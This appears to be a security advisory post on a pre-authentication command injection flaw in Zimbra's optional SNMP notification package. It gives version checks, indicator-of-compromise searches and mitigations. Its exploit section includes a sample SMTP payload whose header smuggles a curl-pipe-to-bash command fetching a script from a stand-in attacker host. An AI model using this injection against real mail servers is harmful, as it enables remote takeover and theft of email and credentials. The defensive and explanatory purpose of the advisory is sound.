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CVE-2026-73570 is a pre-authentication remote code execution vulnerability affecting Zimbra Collaboration Suite (ZCS) versions prior to 10.1.20. The flaw resides in the optional `zimbra-snmp` package, which is used for SNMP monitoring and notification services. When this package is installed and SNMP notifications are enabled via the `snmp_notify` parameter, the system becomes vulnerable to command injection.
The root cause is improper sanitization of untrusted input during SNMP notification processing. Specifically, the SNMP notification workflow receives data that can be influenced by external SMTP requests. Because the input is not properly neutralized before being passed to operating system commands, an attacker can inject malicious payloads.
An unauthenticated attacker can send specially crafted SMTP requests to the Zimbra server. These requests contain payloads that, when processed by the SNMP notification handler, are interpolated into system command strings. The commands are then executed with the privileges of the `zimbra` user, a low-privileged but highly capable system account that has access to mail stores, configuration files, and local resources.
The attack requires no authentication, making it especially dangerous for internet-facing Zimbra servers. However, the attack complexity is rated as High (AC:H) because the attacker must meet specific conditions: the `zimbra-snmp` package must be installed, SNMP notifications must be enabled, and the `swatchdog` service (which processes SNMP traps) must be running. The `swatchdog` service is enabled by default when SNMP notifications are turned on.
Successful exploitation allows attackers to execute arbitrary operating system commands, potentially leading to full server compromise. Threat actors can establish persistence, read and exfiltrate email communications, harvest stored credentials, and pivot laterally to other systems on the same network. CERT Polska reported active exploitation in the wild as of August 17, 2026, urging immediate patching. Zimbra addressed the vulnerability with the release of version 10.1.20 on July 20, 2026.
DailyCVE Form:
Platform: Zimbra Collaboration (ZCS)
Version: before 10.1.20
Vulnerability: Remote Code Execution (RCE)
Severity: HIGH (CVSS 8.9)
date: August 19, 2026
Prediction: Patch already available
What Undercode Say:
Check if your Zimbra server is vulnerable by verifying the installed version and the presence of the SNMP components:
Check Zimbra version su - zimbra -c "zmcontrol -v" Check if zimbra-snmp package is installed dpkg -l | grep zimbra-snmp Debian/Ubuntu rpm -qa | grep zimbra-snmp RHEL/CentOS Check if SNMP notifications are enabled su - zimbra -c "zmlocalconfig | grep snmp_notify" Verify swatchdog service status su - zimbra -c "zmcontrol status | grep swatchdog"
Indicators of compromise (IOCs) provided by CERT Polska:
Check for suspicious Zimbra service restarts in logs grep -i "restart" /var/log/zimbra.log Look for recently created files in web application directories find /opt/zimbra/jetty/webapps/ -type f -mtime -30 find /opt/zimbra/jetty_base/webapps/ -type f -mtime -30 Check for suspicious files in /tmp/ find /tmp/ -type f -mtime -30 -ls
Exploit: (Educational Purposes!)
The vulnerability is triggered by sending specially crafted SMTP requests that inject commands into the SNMP notification processing pipeline. A proof-of-concept approach involves:
1. Crafting an SMTP message with a malicious payload in a field that is processed by the SNMP notification handler.
2. The payload is inserted into an operating system command string without proper sanitization.
3. The command is executed by the `swatchdog` service with `zimbra` user privileges.
Example conceptual payload (for educational understanding only):
MAIL FROM: <a href="mailto:user@domain.com">user@domain.com</a> RCPT TO: <a href="mailto:victim@domain.com">victim@domain.com</a> DATA Subject: Test X-Payload: ; curl http://attacker.com/shell.sh | bash ; .
The injected command (; curl ... | bash ;) is executed when the SNMP notification is processed, allowing remote code execution. Actual exploitation requires precise knowledge of the vulnerable code paths and is actively being used by threat actors.
Protection:
- Patch Immediately: Upgrade to Zimbra Collaboration Suite version 10.1.20 or later. The fix was released on July 20, 2026.
- Disable SNMP Notifications: If patching is not immediately possible, disable SNMP notifications by setting `snmp_notify` to
FALSE:su - zimbra -c "zmlocalconfig -e snmp_notify=FALSE" su - zimbra -c "zmcontrol restart"
- Remove zimbra-snmp Package: If SNMP monitoring is not required, remove the optional package:
apt-get remove zimbra-snmp Debian/Ubuntu yum remove zimbra-snmp RHEL/CentOS
- Monitor Logs: Actively monitor `/var/log/zimbra.log` for suspicious service restarts and unexpected file creations in web application directories.
- Network Segmentation: Restrict access to Zimbra servers from untrusted networks where possible.
Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary system commands with the privileges of the `zimbra` user. This can lead to:
– Full Server Compromise: Attackers gain control over the mail server, enabling persistence, backdoor installation, and data exfiltration.
– Email Data Breach: All inbound and outbound email communications can be read, copied, or modified.
– Credential Theft: Stored credentials (including user passwords and API keys) can be harvested for further attacks.
– Lateral Movement: Compromised Zimbra servers can be used as a pivot point to attack other systems within the same network.
– Reputation and Compliance Damage: Data breaches involving email systems can result in regulatory fines, loss of customer trust, and long-term reputational harm.
– Active Exploitation: CERT Polska confirmed active exploitation in the wild, meaning unpatched servers are at immediate risk.
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Sources:
Reported By: www.cve.org
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